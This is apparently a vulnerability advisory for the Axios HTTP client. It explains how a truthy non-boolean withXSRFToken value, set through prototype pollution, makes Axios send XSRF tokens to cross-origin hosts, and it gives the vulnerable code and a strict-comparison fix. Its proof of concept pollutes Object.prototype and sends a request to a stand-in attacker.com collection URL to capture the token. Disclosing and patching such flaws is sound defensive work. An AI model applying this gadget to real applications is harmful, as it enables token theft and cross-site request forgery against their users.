Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, the Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker. This vulnerability is fixed in 1.15.1 and 0.31.1.

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, the Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker. This vulnerability is fixed in 1.15.1 and 0.31.1.

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, the Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker. This vulnerability is fixed in 1.15.1 and 0.31.1.

# Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion ## Summary The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the `withXSRFToken` config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (`isURLSameOrigin`) is **short-circuited**, causing XSRF tokens to be sent to **all** request targets including cross-origin servers controlled by an attacker. **Severity:** Medium (CVSS 5.4) **Affected Versions:** All versions since `withXSRFToken` was introduced **Vulnerable Component:** `lib/helpers/resolveConfig.js:59` **Environment:** Browser-only (XSRF logic only runs when `hasStandardBrowserEnv` is true) ## CWE - **CWE-201:** Insertion of Sensitive Information Into Sent Data - **CWE-183:** Permissive List of Allowed Inputs ## CVSS 3.1 **Score: 5.4 (Medium)** Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N` | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | Required | Victim must use browser with axios making cross-origin requests | | Scope | Unchanged | Token leakage within browser context | | Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token | | Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) | | Availability | None | No availability impact | ## Usage of "Helper" Vulnerabilities This vulnerability requires **Zero Direct User Input** when triggered via prototype pollution. If an attacker can pollute `Object.prototype.withXSRFToken` with any truthy value (e.g., `1`, `"true"`, `{}`), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination. ## Vulnerable Code **File:** `lib/helpers/resolveConfig.js`, lines 57-66 ```javascript // Line 57: Function check — only applies if withXSRFToken is a function withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig)); // Line 59: The vulnerable condition if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) { // ^^^^^^^^^^^^^^^^ // When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits // isURLSameOrigin() is NEVER called → token sent to ANY origin const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } } ``` **Designed behavior:** - `true` → always send token (explicit cross-origin opt-in) - `false` → never send token - `undefined` → send only for same-origin requests **Actual behavior for non-boolean truthy values (`1`, `"false"`, `{}`, `[]`):** - All treated as truthy → same-origin check skipped → token sent everywhere ## Proof of Concept ```javascript // Simulated prototype pollution from any vulnerable dependency Object.prototype.withXSRFToken = 1; // In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123" // Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123 // Even to cross-origin hosts: await axios.get('https://attacker.com/collect'); // → attacker receives the XSRF token in request headers ``` ## Verified PoC Output ``` withXSRFToken Value Sends Token Cross-Origin Expected true (boolean) YES Yes (opt-in) false (boolean) No No undefined (default) No No 1 (number) YES ← BUG No "false" (string) YES ← BUG No {} (object) YES ← BUG No [] (array) YES ← BUG No Prototype pollution: Object.prototype.withXSRFToken = 1 config.withXSRFToken = 1 → leaks=true isURLSameOrigin() was NOT called (short-circuited) ``` ## Impact Analysis - **XSRF Token Theft:** Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application - **Universal Scope:** A single `Object.prototype.withXSRFToken = 1` affects every axios request in the application - **Misconfiguration Risk:** Developer writing `withXSRFToken: "false"` (string) instead of `false` (boolean) triggers the same issue without PP **Limitations:** - Browser-only (XSRF logic runs only in `hasStandardBrowserEnv`) - XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking - Attacker still needs a way to deliver the forged request after obtaining the token ## Recommended Fix Use strict boolean comparison: ```javascript // FIXED: lib/helpers/resolveConfig.js const shouldSendXSRF = withXSRFToken === true || (withXSRFToken == null && isURLSameOrigin(newConfig.url)); if (shouldSendXSRF) { const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } } ``` ## Resources - [CWE-201: Insertion of Sensitive Information Into Sent Data](https://cwe.mitre.org/data/definitions/201.html) - [CWE-183: Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html) - [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx) - [Axios GitHub Repository](https://github.com/axios/axios) ## Timeline | Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: corrected CVSS, documented limitations | | TBD | Report submitted to vendor via GitHub Security Advisory |